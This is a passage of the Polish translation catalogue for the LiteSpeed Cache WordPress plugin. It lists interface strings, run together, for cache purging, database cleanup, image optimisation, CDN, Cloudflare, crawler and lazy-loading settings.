opcję aby użyć ustawień głównej strony na wszystkich podstronach.Wyczyść wszystkoWyczyść mapę robota indeksującegoWyczyść niedokończone daneWyczyść wszystkie auto zapisane szkiceWyczyść wszystkie osierocone meta rekordy wpisówWyczyść wszystkie rewizje postówWyczyść wszystkie komentarze spamoweWyczyszczono wszystko.Wyczyść wszystkie trackbacki i pingbackiWyczyść wszystkie opcje przejścioweWyczyszczono wszystkie dane tymczasowe.Wyczyść wszystkie usunięte komentarzeWyczyść wszystkie usunięte wpisy i stronyWyczyszczono wszystkie automatyczne wersje robocze.Wyczyść wygasłe opcje przejścioweWyczyszczono wszystkie zakończone dane tymczasowe.Pomyślnie wyczyszczono osierocone meta wpisu.Wyczyszczono wszystkie rewizje.Wyczyść wersje starsze niż %1$s dni, z wyłączeniem %2$s najnowszych wersjiWyczyszczono wszystkie spamerskie komentarze.Pomyślnie wyczyszczono trackbacki i pingbacki.Wyczyszczono wszystkie usunięte komentarze.Wyczyszczono wszystkie usunięte strony i posty.Wyczyszczono wszystkie krytyczne pliki CSS.Wyczyszczono wszystkie pliki Gravatara.Wyczyszczono wszystkie pliki LQIP.Wyczyszczono wszystkie unikatowe pliki CSS.Wyczyszczono wszystkie zlokalizowane wpisy zasobów.Pomyślnie wyczyszczono niedokończone dane.Wyczyść pamięć podręczną %s po uruchomieniu opcji „Wyczyść wszystko”.Wyczyść pamięć podręczną CloudflareWyczyść dziennikiUsunięto %1$s nieprawidłowych obrazków.Kliknij tutaj, aby kontynuować.Kliknij tutaj, aby ustawić.Kliknij, aby wyczyścić wszystkie węzły w celu ich ponownego wykrycia.Kliknij, aby skopiowaćKliknij, aby przejść do wersji zoptymalizowanej.Kliknij, aby przejść do wersji oryginalnej (niezoptymalizowanej).Błąd chmurySerwer w chmurze odrzucił aktualne żądanie z powodu limitu transferu. Spróbuj ponownie później.Serwer w chmurze odrzucił bieżące żądanie z powodu niepobranych obrazków. Najpierw pobierz obrazki.CloudflareCloudflare APICloudflare API jest wyłączone.Pamięć podręczna CloudflareDomena CloudflareUstawienia CloudflareStrefa CloudflareZwiń Query StringsPołącz pliki CSS i wbudowany kod CSS.Połącz wszystkie lokalne pliki JS w jeden plik.Komentarze są obsługiwane. Rozpocznij wiersz od %s, aby przekształcić go w wiersz komentarza.Połączenie z Cloudflare pomyślnie.Gratulacje! Twój plik został już zoptymalizowanyGratulacje, %s pomyślnie skonfigurował tę domenę na potrzeby anonimowych usług online.Gratulacje, %s pomyślnie skonfigurował tę domenę dla usług online z usługą CDN.Gratulacje, %s pomyślnie skonfigurował tę domenę na potrzeby usług online.Gratulacje, wszystkim zebranym!Test połączeniaSieć dostarczania treściUsługa sieciowa dostarczania treściKonwertuj do InnoDBKonwersja do InnoDB zakończona sukcesem.Nazwa CookieSymulacja CookieWartości CookieKopiuj dziennikNie można znaleźć %1$s w %2$s.Interwał robota indeksującegoRobot indeksującyCron robota indeksującegoUstawienia ogólne robota indeksującegoDziennik indeksowaniaStatus robota indeksującegoCrawler wyłączony przez administratora serwera.Lista wyłączonych robotów indeksujących jest wyczyszczona! Wszystkie roboty indeksujące są ustawione na aktywne! Robot(y) indeksujący(e)Utwórz post, upewnij się, że pierwsza strona jest poprawna.Stworzone z ❤️ przez zespół LiteSpeed.Liczba punktów nie jest wystarczająca do realizacji bieżącego żądania.Krytyczny CSSKrytyczne reguły CSSNazwa cronAktualna zawartość: %sAktualne węzły chmury w użyciuAktualny robot indeksujący wystartował wAktualna pozycja identyfikatora wpisu z obrazkiemAktualny limit toAktualne obciążenie serweraAktualny czas serwera to %s.Aktualny robot indeksujący mapę strony wystartował wAktualny status to %1$s od %2$s.Aktualny stan to %s.Aktualnie aktywny robot indeksującyObecnie korzystam ze zoptymalizowanej wersji pliku AVIF.Obecnie używana jest zoptymalizowana wersja pliku WebP.Obecnie korzystam ze zoptymalizowanej wersji pliku.Obecnie korzystam z oryginalnej (niezoptymalizowanej) wersji pliku AVIF.Obecnie korzystam z oryginalnej (niezoptymalizowanej) wersji pliku WebP.Obecnie używana jest oryginalna (niezoptymalizowana) wersja pliku.Niestandardowa mapa stronyUstawienia optymalizacji bazy danychWstępne połączenie DNSWstępne pobieranie DNSKontrola wstępnego pobierania DNSWstępne pobieranie DNS dla plików statycznychDzienne archiwumKokpitBaza danychOptymalizator bazy danychPodsumowanie bazy danychKonwerter silnika tabel bazy danychBaza danych do wykorzystaniaDzień/dniNarzędzia pomocnicze do debugowaniaPoziom debugowaniaDziennik zdarzeńUstawienia debugowaniaWyklucza ciąg debugowaniaWykluczenia debugowania URIDebugowanie URI zawieraDomyślneDomyślna pamięć podręcznaDomyślny TTL kanału informacjiDomyślny TTL strony głównejDomyślna strona kodowa stanu HTTP TTLDomyślny czas życia obiektuDomyślny TTL prywatnej pamięci podręcznejDomyślny Publiczny Cache TTLDomyślny REST TTLDomyślny TTL dla obiektów pamięci podręcznej.Domyślna ścieżka toDomyślnym portem dla %1$s jest %2$s.Wartość domyślnaOdroczonyOdroczenie do momentu przeanalizowania strony lub opóźnienie do momentu interakcji może pomóc w zmniejszeniu rywalizacji o zasoby i poprawić wydajność, co skutkuje niższym FID (metryka podstawowych wskaźników internetowych).Opóźnij renderowanie elementów HTML poza ekranem za pomocą ich selektora.OpóźnionyUsuń wszystkie kopie zapasowe oryginalnych obrazkówZapewnia globalny zasięg dzięki rozwijającej się <strong>sieci ponad 80 punktów obecności</strong>.Zniszcz wszystkie dane optymalizacjiPomyślnie zniszczono wszystkie dane optymalizacyjne.Określa, jak zmiany ilości produktów i stanu zapasów produktów wpływają na strony produktów i ich powiązane strony kategorii.Tryb deweloperskiTryb deweloperski zostanie wyłączony automatycznie po trzech godzinach.Tryb deweloperski zostanie automatycznie wyłączony za %s.WyłączWyłącz wszystkie funkcjeWyłącz pamięć podręcznąWyłącz leniwe wczytywanie obrazkaWyłącz VPIWyłącz interwał heartbeat WordPressa w celu zmniejszenia obciążenia serwera.Wyłącz tę opcję, aby generować CCSS na typ wpisu zamiast na stronę. Może to zaoszczędzić znaczną ilość CCSS, jednak może to skutkować niepoprawnym stylem CSS, jeśli Twoja witryna używa kreatora stron.WyłączonoPomyślnie wyłączono plik AVIF.Wyłączono plik WebP.Wyłączenie tego może spowodować, że zadania WordPress wyzwalane przez AJAX przestaną działać.Wyłączenie tej opcji może mieć negatywny wpływ na wydajność.Rozłącz się z QUIC.cloudOdrzućOdrzuć to powiadomienieUkryj komunikat.Nie zapisuj w pamięci podręcznej kategoriiNie zapisuj w pamięci podręcznej ciasteczekNie zapisuj w pamięci podręcznej grupNie zapisuj w pamięci podręcznej query stringówNie buforuj rólNie zapisuj w pamięci podręcznej tagówNie zapisuj w pamięci podręcznej URLówNie buforuj agentów użytkownikaNie usuwaj kategorii po zmianie ilości lub stanu zapasów.Nie pokazuj tego ponownieDomenaObniżenie nie jest zalecane. Może powodować błąd krytyczny z powodu refaktoryzowanego kodu.Usuń ciąg zapytańESIKody jednorazowe ESIUstawienia ESIESI pozwala Ci wyznaczyć części Twojej dynamicznej strony jako oddzielne fragmenty, które są następnie składane razem, aby utworzyć całą stronę. Innymi słowy, ESI pozwala Ci „wybić dziury” na stronie, a następnie wypełnić te dziury treścią, która może być buforowana prywatnie, buforowana publicznie z własnym TTL lub wcale nie być buforowana.Przykład ESI dla programistówEdytor HeartbeatEdytor Heartbeat TTLElementy z atrybutem %s w kodzie HTML zostaną wykluczone.Elementy z atrybutem %s w kodzie html zostaną wykluczone.Adres e-mailOpróżnij cały cacheWyczyść czarną listęWłącz pamięć podręcznąWłącz ESIWłącz QUIC.cloud CDNWłącz usługi QUIC.cloudWłącz usługi QUIC.cloudWłącz automatyczne generowanie obrazów typu Viewport przez crona.Włącz zastępowanie WebP/AVIF w elementach %s, które zostały wygenerowane poza logiką WordPress.Włącz tę opcję, jeśli używasz zarówno protokołu HTTP, jak i HTTPS w tej samej domenie i zauważysz nieprawidłowości w pamięci podręcznej.WłączonoPomyślnie włączono plik AVIF.Włączono plik WebP.Włączenie buforu LiteSpeed w programie WordPress umożliwia buforowanie sieci.Powód zakończeniaSilnikWprowadź adres IP tej strony, aby umożliwić usługom chmurowym bezpośrednie wywołanie IP zamiast nazwy domeny. Eliminuje to koszty związane z wyszukiwaniem DNS i CDN.Błąd: Nie udało się zastosować ustawień %1$sZasadniczeKażda minutaWszystko, co w Zaawansowanych, PlusWszystko, co w Inwazyjnych, PlusWszystko, co w Basic, PlusWszystko, co w Zasadniczych, PlusPrzykładPrzykład użycia:Przykłady przypadków testowych zawierają:Wyklucz ścieżkęWykluczone ustawieniaNie zawieraZakończone dane tymczasoweEksportUstawienia eksportuEkstremalneNiepowodzenieNie udało się wykonać kopii zapasowej pliku %s, odrzucono zmiany.Nie można połączyć się z CloudflareNie udało się nawiązać komunikacji z serwerem QUIC.cloudNie udało się utworzyć tabeli Awatar. Postępuj zgodnie z <a %s>wskazówkami dotyczącymi tworzenia tabeli z LiteSpeed ​​Wiki</a>, aby zakończyć konfigurację.Nie udało się utworzyć tabeli %1$s! SQL: %2$s.Nie udało się wykryć adresu IPNie udało się pobrać zawartości pliku %s.Nie udało się pobrać danych echa z WPAPINie udało się przeanalizować statusu aktywacji %s.Nie powiodło się żądanie przez WordPressAktualizacja nie powiodła się.Nie udało się zweryfikować danych aktywacyjnych %s.Błąd zapisu do %s.Szybkie wykorzystanie kolejkiPlik %s nie jest zapisywalny.Nazwa pliku jest pusta!PlikówFiltr %s dostępny dla generowania UCSS według rodzaju strony.Filtr %s jest wspierany.Katalog nie istnieje: %sFolder nie jest zapisywalny: %s.Optymalizacja wyświetlania kroju pismaW przypadku adresów URL zawierających symbole wieloznaczne może wystąpić opóźnienie w inicjowaniu zaplanowanego czyszczenia.Na przykładNa przykład %1$s definiuje TTL na %2$s sekund dla %3$s.Na przykład %s można użyć do przezroczystego elementu zastępczego.Na przykład dla %1$s można tutaj użyć %2$s i %3$s.Na przykład dla %1$s można tutaj użyć %2$s.Jeśli na przykład każda strona w witrynie ma inne formatowanie, wpisz %s w polu. Oddzielne krytyczne pliki CSS będą przechowywane dla każdej strony w witrynie.Na przykład, aby usunąć parametry zaczynające się od %1$s, można tutaj użyć %2$s.Z tego powodu, należy przetestować witrynę, aby upewnić się, że wszystko nadal funkcjonuje prawidłowo.Wymuś identyfikatory URI pamięci podręcznejWymuś publiczne identyfikatory URI pamięci podręcznejWymuś cronWymuszone buforowanieDostępny bezpłatny miesięczny limit.Dostępny bezpłatny miesięczny limit. Można również używać anonimowo (nie jest wymagany adres e-mail).Strona głównaŚcieżka front-endu .htaccessKontrola front-endu HeartbeatFront-end Heartbeat TTLOgólneUstawienia ogólneGeneruj LQIP w tleGenerowanie linku dla aktualnego użytkownikaWygeneruj UCSSWygeneruj oddzielną kopię pamięci podręcznej dla mini koszyka, gdy koszyk nie jest pusty.Wygenerowano %sGlobalny klucz API / token APIGlobalne grupyPrzejdź do kokpitu QUIC.cloudPrzejdź to listy wtyczekDobre wieści z serwera QUIC.cloudGoogle reCAPTCHA zostanie automatycznie pominięte.Pamięć podręczna GravataraPamięć podręczna Gravatar CronPamięć podręczna Gravatar TTLGrupy zapisywane w pamięci podręcznej na poziomie sieci.GośćTryb gościaAdresy IP trybu gościaTryb gościa wyklucza JSAgenci użytkownika w trybie gościaTryb Gościa i optymalizacja dla GościNie udało się przetestować trybu gościa.Tryb gościa przeszedł testy.Tryb gościa zapewnia zawsze buforowaną stronę docelową dla zautomatyzowanego gościa podczas pierwszej wizyty, a następnie próby aktualizacji pamięci podręcznej różnią się za pośrednictwem AJAX.Wynik testu trybu gościaOptymalizacja gościAtrybut HTML do zastąpieniaHTML zachowuje komentarzeSelektory leniwego wczytywania HTMLHTML MinifyUstawienia HTMLTylko źródła HTTPS.HeartbeatKontrola HeartbeatWysokowydajne buforowanie stron i optymalizacja strony od LiteSpeedWyższy TTL (Czas życia pakietu)HistoriaOdsłonyStrona głównaHostJak naprawić problemy spowodowane przez optymalizację CSS / JS.Jednak nie ma możliwości poznania wszystkich możliwych dostosowań, które zostały wdrożone.Htaccess nie pasował do opcji konfiguracji.Regułka htaccess jest: %sRecenzja została już przeze mnie dodanaJeśli %1$s wynosi %2$s, to %3$s musi zostać wypełnione!Jeśli WŁĄCZONY, nieaktualna kopia strony z pamięci podręcznej będzie wyświetlana odwiedzającym, dopóki nie będzie dostępna nowa kopia z pamięci podręcznej. Zmniejsza obciążenie serwera podczas kolejnych wizyt. Jeśli WYŁĄCZONY, strona będzie generowana dynamicznie, podczas gdy odwiedzający będą czekać.Jeżeli komentarz, który ma zostać zachowany, wygląda następująco: %1$s napisz: %2$sJeśli każda aplikacja WWW używa tego samego pliku cookie, serwer może zmylić użytkownika, czy użytkownik jest zalogowany, czy nie.Jeżeli chcesz wyczyścić tylko witrynę WordPress, użyj opcji Wyczyść wszystko.Jeśli ustawione na %1$s, zanim element zastępczy zostanie zlokalizowany, zostanie użyta konfiguracja %2$s.Jeśli ustawiono %s to działanie odbywa się na pierwszym planie, co może spowolnić ładowanie strony.Jeśli nazwa kategorii nie zostanie znaleziona, kategoria zostanie usunięta z listy po zapisaniu.Jeśli plik cookie logowania został ostatnio zmieniony w ustawieniach, wyloguj się i zaloguj.Jeśli tag slug nie zostanie znaleziony, znacznik zostanie usunięty z listy w przypadku zapisu.Jeśli ten numer jest mniejszy niż 30, kanały nie będą zapisywane w pamięci podręcznej.Jeśli używasz OpenLiteSpeed, musisz go zrestartować aby zmiany odniosły efekt.Jeśli używasz gniazda %1$s, %2$s powinno być ustawione na %3$sJeśli doświadczysz jakichkolwiek problemów, odwołaj się do tego w swoim raporcie pomocy technicznej.Jeżeli wyłączysz którekolwiek z powyższych ustawień, usuń powiązane rodzaje plików z pola %s.Jeśli nie chcesz grzebać przy LiteSpeed, możesz wyłączyć tę wtyczkę.Jeśli Twoja witryna zawiera publiczną treść, którą mogą zobaczyć pewne role użytkowników, ale inne role nie, możesz określić Grupa Vary dla tych ról użytkowników. Na przykład określenie administrator grupy vary pozwala na utworzenie osobnej strony buforowanej publicznie, dostosowanej do administratorów (z odnośnikami „edytuj” itp.), podczas gdy wszystkie inne role użytkowników widzą domyślną stronę publiczną.Jeśli Twój motyw nie używa JavaScript do aktualizacji mini koszyka, musisz włączyć tę opcję, aby wyświetlić prawidłową zawartość koszyka.Iframy zawierające te nazwy klas nie będą leniwie wczytywane.Iframy posiadające te nazwy klas nadrzędnych nie będą leniwie wczytywane.Ignoruj pewne ciągi zapytań podczas buforowania. (wymaga LSWS %s)Informacje o obrazieOptymalizacja obrazkówUstawienia optymalizacji obrazkówPodsumowanie optymalizacji obrazkaRozmiary grup miniaturek obrazkówGrupy obrazów ogółemWysłane obrazkiObrazki zawierające tą nazwę klasy nie będą wczytywane przez lazy load.Obrazki posiadające te nazwy klas nadrzędnych nie będą leniwie wczytywane.Obrazki nie zostały zażądaneObrazy zgłoszone do przesłaniaObrazy zoptymalizowane i wysłaneObrazki gotowe na żądanieZażądane obrazyObrazki zostaną pobrane automatycznie, jeśli zadanie cron będzie uruchomione.ImportImport / EksportUstawienia importuImportowanie nie powiodło się z powodu błędu pliku.Pomyślnie importowano plik ustawień %s.Popraw zgodność z HTTP/HTTPSZwiększ szybkość wp-admin poprzez buforowanie. (Może wystąpić problem z wygasłymi danymi)Ulepszone przezAby uniknąć błędu ulepszenia, musisz używać wersji %1$s lub nowszej, zanim będziesz mógł wykonać ulepszenie do wersji %2$s.Aby korzystać z usług QC, trzeba mieć prawdziwą nazwę domeny, nie można używać IP.Aby korzystać z większości usług QUIC.cloud, potrzebujesz określonego limitu. QUIC.cloud co miesiąc przyznaje Ci bezpłatny limit, ale jeśli potrzebujesz większego limitu, możesz go dokupić.Dołącz CSSDodane typy rozszerzeńZałącz obrazkiDołącz JSDołącz zewnętrzny CSS i wbudowany CSS do połączonego pliku, gdy %1$s jest również włączony. Ta opcja pomaga zachować priorytety CSS, co powinno zminimalizować potencjalne błędy spowodowane przez Łączenie CSS.Dołącz zewnętrzny JS i wbudowany JS do połączonego pliku, gdy %1$s jest również włączony. Ta opcja pomaga zachować priorytety wykonywania JS, co powinno zminimalizować potencjalne błędy spowodowane przez Łączenie JS.Dołączone katalogiWewnętrzny CSS Async LibDodano wbudowany kod CSS do PołączeniaDodano wbudowany kod JS do PołączeniaWbudowany UCSS w celu zmniejszenia dodatkowego wczytywania pliku CSS. Ta opcja nie będzie automatycznie włączana dla stron %1$s. Aby użyć jej na stronach %1$s, ustaw ją na WŁĄCZ.ZainstalujZainstaluj %sZainstaluj DoLogin SecurityZainstalujNatychmiastowe kliknięcieBłędny adres IPNiepoprawne ciasteczko logowania. Znaleziono niepoprawne znaki.Nieprawidłowy plik ciasteczka logowania. Sprawdź plik %s.Nieprawidłowa reguła przepisywaniaZDECYDOWANIE zaleca się, aby najpierw przetestować zgodność z innymi wtyczkami na jednej/kilku witrynach.Plik zostanie na bieżąco przekonwertowany na symbol zastępczy SVG w formacie base64.Połącz JSJS łączy zewnętrzne i wbudowaneJS Defer dla zewnętrznego i wbudowanego JSJS wyklucza odroczony/opóźnionyOpóźnij ładowanie JSOpóźnienie JS obejmujeWykluczenia JSJS MinifyUstawienia JSBłąd JS można znaleźć w konsoli programisty przeglądarki, klikając prawym przyciskiem myszy i wybierając polecenie Sprawdź.Dołącz do społeczności LiteSpeed SlackDołącz do nas na SlackuDołącz do społeczności %s.Wyłącz tę opcję, aby użyć symboli zastępczych w jednolitym kolorze.LQIPPamięć podręczna LQIPGenerator chmur LQIPLQIP wykluczaMinimalne wymiary LQIPJakość LQIPPodgląd obrazka LQIP dla rozmiaru %sŻądania LQIP nie będą wysyłane w przypadku obrazków, których szerokość i wysokość są mniejsze od podanych wymiarów.LSCacheFunkcja pamięci podręcznej LSCache na tej stronie jest aktualnie niedostępna!Większa liczba wygeneruje symbol zastępczy o wyższej rozdzielczości, ale spowoduje to utworzenie większego pliku, co zwiększy rozmiar strony i zużyje więcej punktów.Większy niżOstatnie pociągnięcieOstatnio pobraneData ostatniego raportuOstatni numer raportuOstatnie żądanieOstatnio obliczonoOstatni kompletny czas wykonania dla wszystkich robotów indeksującychOstatni eksportOstatnio wygenerowanyOstatnio zaimportowanoOstatni interwałOstatnie wysyłanie zainicjowane przez crona o %s.Ostatnio uruchmionoKoszt ostatniego żądaniaNazwa klasy iframe leniwego wczytywania wykluczaNazwa klasy nadrzędnej iframe leniwego wczytywania wykluczaLazy Load IframeówWykluczona nazwa klasy leniwego wczytywania obrazkaWykluczone leniwe wczytywanie obrazkaNazwa klasy nadrzędnej leniwego wczytywania obrazka wykluczaLeniwe ładowanie obrazkówWykluczenia leniwego wczytywania URILeniwe ładowanie iframe'ówLeniwe ładowanie obrazkówDowiedz się więcejDowiedz się więcej o QUIC.cloudDowiedz się więcejDowiedz się więcej o tym, kiedy jest to potrzebneDowiedz się więcej lub kup dodatkowy limit.Połącz i włącz QUIC.cloud CDNOdnośnik do QUIC.cloudPołączono ze środowiskiem podglądu QUIC.cloud, wyłącznie w celach testowych.Lista użytkowników mobilnychWymień typy treści, w których każdy element tego typu powinien mieć wygenerowany własny CCSS.Wypisz selektory CSS, których style powinny być zawsze uwzględniane w CCSS.Wypisz selektory CSS, których style powinny być zawsze uwzględniane w UCSS.Wymienione pliki CSS zostaną wyłączone z UCSS i zapisane w treści.Podane adresy IP będą traktowane jako użytkownicy korzystający z trybu gościa.Udostępnienie wymienionych plików JS lub wbudowanego kodu JS będzie opóźnione.Wymienione pliki JS lub wbudowany kod JS nie zostaną odroczone ani opóźnione.Wymienione pliki JS lub wbudowany kod JS nie zostaną zoptymalizowane przez %s.Wymieniony URI nie wygeneruje UCSS.Wymienieni użytkownicy będą traktowani jako użytkownicy korzystający z trybu gościa.Obrazki z listy nie będą ładowane przez Lazy Load.LiteSpeed CacheLiteSpeed Cache CDNUstawienia wstępne konfiguracji LiteSpeed CacheRobot indeksujący LiteSpeed CacheKokpit LiteSpeed ​​CacheOptymalizacja bazy danych LiteSpeed CacheUstawienia ogólne pamięci podręcznej LiteSpeedOptymalizacja obrazka pamięci podręcznej LiteSpeedUstawienia sieciowej pamięci podręcznej LiteSpeed CacheOptymalizacja strony LiteSpeed CacheOpróżnij cały LiteSpeed CacheUstawienia LiteSpeed CacheStandardowe ustawienia LiteSpeed CacheNarzędzia LiteSpeed CacheWidok pamięci podręcznej LiteSpeed ​​.htaccessWtyczka LiteSpeed Cache jest zainstalowana!Robot indeksujący Cron LiteSpeedLogi LiteSpeedOptymizacja LiteSpeedRaport LiteSpeedLiteSpeed TechnologiesWtyczka pamięci podręcznej LiteSpeed ​​została ulepszona. Odśwież stronę, aby zakończyć aktualizację danych konfiguracyjnych.Wczytuj CSS asynchronicznieZaładuj Google Fonts asynchonicznieOpóźnij ładowanie JSWczytaj iframe tylko wtedy, gdy pojawią się w obszarze widoku.Wczytaj obrazki tylko wtedy, gdy pojawią się w obszarze widoku.LokalizacjaPliki lokalizacyjneUstawienia lokalizacjiZlokalizuj zasobyZlokalizuj zasoby zewnętrzne.Zlokalizowane zasobyLoguj limit rozmiaru plikówPrzegląd logówCiasteczko logowaniaMiejsce na obrazek o niskiej jakościMBZarządzajRęcznie dodano do listy blokowaniaRęczne uruchomienieMapaOznacz tę stronę jako Maksymalny identyfikator wpisu z obrazkiemMaksymalna wartośćMoże późniejMoże późniejWykluczone mediaUstawienia mediówKomunikat z serwera QUIC.cloudMetodaZminimalizuj pliki CSS i wbudowany kod CSS.Minifikacja zawartości HTML.Zminimalizuj pliki JS i wbudowany kod JS.Minimalna wartośćBrakMobilnyZasady agenta mobilnegoCache dla urządzeń mobilnychMiesięczne archiwumWięcejWięcej informacji na temat dostępnych komend możesz znaleść tutaj.Więcej ustawieńWięcej ustawień dostępnych jest poniżej menu %sMój Kokpit QUIC.cloudNotatkaPowiadomienieUWAGA:INFORMACJA: Ciasteczko logowania w bazie danych nie zgadza się z twoim.Kokpit sieciWłącz sieciową pamięć podręcznąDostępna nowa wersja dla programistów!Nowa wersja jest dostępna!Nowa wersja dla programistów %s jest już dostępna.Nowe wydanie %s jest dostępne.AktualnościFormat obrazu nowej generacjiBrak dostępnego węzła w chmurze po sprawdzeniu obciążenia serwera.Brak dostępnego węzła chmury.Brak dostępnej strefy CloudflareNie istnieje kopia zapasowa oryginalnego pliku.Brak kopii zapasowej niezoptymalizowanego pliku AVIF.Nie istnieje kopia zapasowa niezoptymalizowanego pliku WebP.Obecnie nie są używane żadne usługi w chmurzeNie wygenerowano jeszcze pliku meta dla robota indeksującegoBrak optymalizacjiSerwer w chmurze nie znalazł prawidłowego obrazka w bieżącym żądaniu.Nie znaleziono prawidłowego obrazka w bieżącym żądaniu.Nie przetworzono żadnej prawidłowej mapy witryny dla robota indeksującego.Nie do pamięci podręcznejNiedostępneNie umieszczono na czarnej liścieNotatkaUwagiPowiadomieniePowiadomieniaPowiadomiono Cloudflare, aby oczyścił wszystko z powodzeniem.Powiadomiono Cloudflare, aby pomyślnie ustawił tryb developerski na %s.Powiadomiono serwer WWW LiteSpeed ​​o konieczności usunięcia wpisów CSS/JS.Powiadomiono LiteSpeed Web Server, aby wyczyścił wszystkie wpisy LSCache.Powiadomiono serwer WWW LiteSpeed ​​o konieczności usunięcia wszystkich stron.Powiadomiono LiteSpeed Web Server o usunięciu stron błędów.Powiadomiono serwer internetowy LiteSpeed ​​o konieczności usunięcia wszystkiego.Powiadomiono serwer LiteSpeed w celu oczyszczenia strony głównej.Poinformowano Serwer LiteSpeed o usunięciu listy.WyłączWłLUBObiektPamięć podręczna obiektówUstawienia pamięci podręcznej obiektuPamięć podręczna obiektów nie jest włączona.Oferuje opcjonalną <strong>wbudowaną usługę DNS</strong>, aby uprościć wdrażanie CDN.Po zapisaniu zostanie dopasowany do bieżącej listy i wypełniony automatycznie.Jeden lub więcej pobranych obrazków nie pasuje do zgłoszonego obrazka md5Jeden na linię.Usługi onlineNależy ponownie wykryć węzeł online.Tylko wymienione tutaj atrybuty zostaną zastąpione.Dostępne tylko po zainstalowaniu %s.Tylko pliki znajdujące się w tych katalogach będą kierowane do CDN.Loguj tylko wybrane strony.Optymalizuj strony tylko dla gości (niezalogowanych). Jeśli WYŁĄCZYSZ tę opcję, pliki CSS/JS/CCSS zostaną podwojone przez każdą grupę użytkowników.Naciśnij przycisk tylko wtedy, gdy zadanie pull cron jest wyłączone.Pamięć podręczna OpcodeUżytkownicy OpenLiteSpeed proszeni są o sprawdzenie tegoOperacjaStatus optymalizacjiPodsumowanie optymalizacjiNarzędzia optymalizacyjneOptymalizuj dostarczanie CSS.Zoptymalizuj bezstratnieZoptymalizuj oryginalne obrazkiOptymalizuj tabeleZoptymalizuj wszystkie tabele w swojej bazie danychOptymalizuj tylko dla gościZoptymalizuj obrazki i zapisz kopie zapasowe oryginałów w tym samym folderze.Optymalizuj obrazki używając kompresji bezstratnej.Zoptymalizuj obrazki za pomocą naszego serwera QUIC.cloudZoptymalizowano wszystkie tabele.Nazwa opcjiOpcjonalnieOpcjonalnie, gdy używany jest token API.Opcjonalnie tworzy pliki obrazków WebP lub AVIF nowej generacji.Opcje zapisane.OryginałOryginał %sOryginał zapisany %sOryginalne URLOryginalny plik zmniejszony o %1$s (%2$s)Osierocone meta wpisuInny statyczny CDNInne checkboxy będą zignorowane.Zapisuje dane do serii plików w katalogu %s.Saldo PAYGObsługiwana jest stała PHP %s.Czas ładowania stronyOptymalizacja stronyWynik PageSpeedStronyKorzyści dla partnerów zapewniane przezZaliczonoHasłoLink bez hasłaŚcieżka musi kończyć się z %sŚcieżki zawierające te łańcuchy będą buforowane bez względu na ustawienia, których nie można buforować.Ścieżki zawierające te ciągi zostaną zmuszone do umieszczenia w pamięci podręcznej niezależnie od ustawień bez-buforowania.Ścieżki zawierające te stringi nie będą zapisywane.Ścieżka zawierająca te stringi nie będzie serwowana przez CDN.Płać za użytkowanieStatystyki użytkowania usługi Płać za użytkowanieTrwałe połączenieProsimy o wyłączenie następujących wykrytych wtyczek, gdyż mogą one kolidować z LiteSpeed ​​Cache:Proszę NIE udostępniać nikomu powyższego linku bez hasła.Proszę włączyć LiteSpeed Cache w ustawieniach wtyczki.Włącz moduł LSCache na poziomie serwera lub skontaktuj się z dostawcą usług hostingowych.Upewnij się, że ten adres IP jest właściwy do odwiedzenia Twojej witryny.Proszę przeczytać wszystkie ostrzeżenia przed włączeniem tej opcji.Zobacz %s, aby dowiedzieć się więcej.Przetestuj dokładnie, włączając dowolną opcję z tej listy. Po zmianie ustawień Minifikuj/Połącz, wykonaj akcję Wyczyść wszystko.Dokładnie przetestuj wszystkie elementy w %s, aby upewnić się, że działają zgodnie z oczekiwaniami.Dokładnie przetestuj każdy dodawany plik JS, aby mieć pewność, że działa zgodnie z oczekiwaniami.Proszę spróbować po %1$s dla usługi %2$s.PortIdentyfikator wpisuWersje wpisuArchiwum typu treściWstępne połączenie przyspiesza przyszłe wczytywania z danego źródła.Predefiniowana lista zostanie również połączona z powyższymi ustawieniamiWstępne pobieranie DNS może zmniejszyć opóźnienia dla odwiedzających.Podczas optymalizacji zachowaj dane EXIF ​​(prawa autorskie, GPS, komentarze, słowa kluczowe itp.).Zachowaj dane EXIF/XMPPresetyNaciśnij przycisk %s, aby przerwać beta testy i wrócić do aktualnej wersji z WordPress Plugin Directory.Naciśnij przycisk %s, aby użyć najnowszego zatwierdzenia GitHub. Master jest dla kandydata do wydania, a Dev jest dla testowania eksperymentalnego.Zapobiegaj ładowaniu Google Fonts na wszystkich stronach.Zapobiega powstawaniu logów w dzienniku debugowania wymienionych stron.Zapobiegaj leniwemu wczytywaniu wymienionych stron.Zapobiegaj jakiejkolwiek optymalizacji wymienionych stron.Zapobiegaj zapisywaniu wpisów do dziennika, które zawierają wymienione ciągi znaków.Poprzednie żądanie jest zbyt nowe. Spróbuj ponownie po %s.Poprzednie zapytanie było zbyt aktualne. Proszę spróbować ponownie później.Wcześniej znajdował się na czarnej liściePrywatnyPrywatna pamięć podręcznaPrywatne zapisane URLePrywatna pamięć podręcznaPrywatnie buforuj komentujących, którzy mają oczekujące komentarze. Wyłączenie tej opcji spowoduje wyświetlanie komentatorom stron, których nie można buforować. (LSWS %s wymagane)Prywatnie zapisuj strony front-endu dla zalogowanych użytkowników. (LSWS %s wymagany)Przetwarza przesłane obrazki PNG i JPG, aby uzyskać mniejsze wersje bez utraty jakości.Przetwarzanie formatów obrazków PNG, JPG i WebP jest bezpłatne. AVIF jest dostępny za opłatą.Interwał aktualizacji produktuZapewnia <strong>bezpieczeństwo na poziomie CDN</strong>, chroniąc Twój serwer przed atakami.PublicznePubliczna pamięć podręcznaPull Cron jest uruchomionyŚciągnij obrazkiPobrany obrazek AVIF md5 nie pasuje do zgłoszonego obrazka AVIF md5.Pobrany obrazek WebP md5 nie pasuje do zgłoszonego obrazka WebP md5.WyczyśćWyczyść błąd %sWyczyść %s stron błędówOpróżnij wszystkoWyczyść wszystkie rozszerzeniaWyczyść wszystko przy ulepszeniuWyczyść z...Wyczyść wszystkoWyczyść stronę głównąLista czyszczeniaDziennik oczyszczaniaWyczyść stronyWyczyść ustawieniaPomyślnie wyczyszczono całą pamięć podręczną obiektów.Usuń wszystkie pamięci podręczne obiektówOpróżniaj cache kategorii tylko wtedy, gdy zmieni się dostępość produktu.Wyczyszczono %s kategoriiWyczyść strony używając nazwy kategorii - e.g. %2$s powinno zostać użyte dla adresu URL %1$s.Wyczyść strony używając ID postów.Usuwanie stron według względnego lub pełnego adresu URL.Wyczyść strony używając tagów - e.g. %2$s powinno zostać użyte dla adresu %1$s.Wyczyść stronę produktu i kategorie tylko po zmianie stanu zapasów.Wyczyść produkt w przypadku zmiany ilości lub stanu zapasów.Wyczyść stronę produktu tylko w 